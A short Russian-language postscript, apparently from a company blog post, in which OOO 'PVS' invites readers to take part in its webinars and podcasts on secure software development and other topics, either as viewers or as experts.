P.S. ООО "ПВС" регулярно проводит вебинары и подкасты, и не только по теме РБПО :) Приглашаем желающих принять в них участие как в качестве зрителей, так и в качестве экспертов.